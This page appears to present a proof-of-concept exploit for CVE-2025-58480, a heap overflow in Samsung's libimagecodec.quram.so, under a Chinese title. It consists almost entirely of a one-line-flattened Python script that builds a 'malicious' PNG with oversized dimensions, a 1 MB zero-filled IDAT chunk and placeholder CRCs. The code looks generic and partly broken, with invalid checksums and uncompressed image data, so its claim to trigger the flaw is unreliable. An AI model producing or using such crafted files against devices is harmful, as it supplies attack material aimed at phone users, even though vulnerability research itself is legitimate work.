CVE-2025-58480 Samsung libimagecodec.quram.so堆缓冲区溢出漏洞

# CVE-2025-58480 PoC - Samsung libimagecodec.quram.so Heap Buffer Overflow # This PoC demonstrates the heap buffer overflow in Samsung's image codec library # Note: This is for educational and security research purposes only import struct import os def create_malicious_image(): """ Generate a malicious image file that triggers the buffer overflow in libimagecodec.quram.so """ # Craft malicious image header with oversized data field header = b'\x89PNG\r\n\x1a\n' # Create IHDR chunk with malicious dimensions # Width and height fields can be manipulated to trigger overflow ihdr_data = struct.pack('>II', 0x7FFFFFFF, 0x7FFFFFFF) # Oversized dimensions ihdr_crc = 0x00000000 # CRC placeholder ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc) # Craft IDAT chunk with oversized compressed data # This triggers the heap buffer overflow during decompression oversized_data = b'\x00' * 0x100000 # 1MB of data to overflow buffer idat_data = oversized_data idat_crc = 0x00000000 idat_chunk = struct.pack('>I', len(idat_data)) + b'IDAT' + idat_data + struct.pack('>I', idat_crc) # IEND chunk to complete PNG structure iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', 0xAE426082) # Combine all chunks to form malicious PNG malicious_png = header + ihdr_chunk + idat_chunk + iend_chunk return malicious_png def main(): print("[*] CVE-2025-58480 PoC Generator") print("[*] Target: Samsung libimagecodec.quram.so") print("[*] Vulnerability: Heap-based buffer overflow") # Generate malicious image poc_data = create_malicious_image() # Save PoC file output_file = "CVE-2025-58480_poc.png" with open(output_file, 'wb') as f: f.write(poc_data) print(f"[+] PoC file created: {output_file}") print(f"[+] File size: {len(poc_data)} bytes") print("[!] This PoC is for research purposes only") if __name__ == "__main__": main()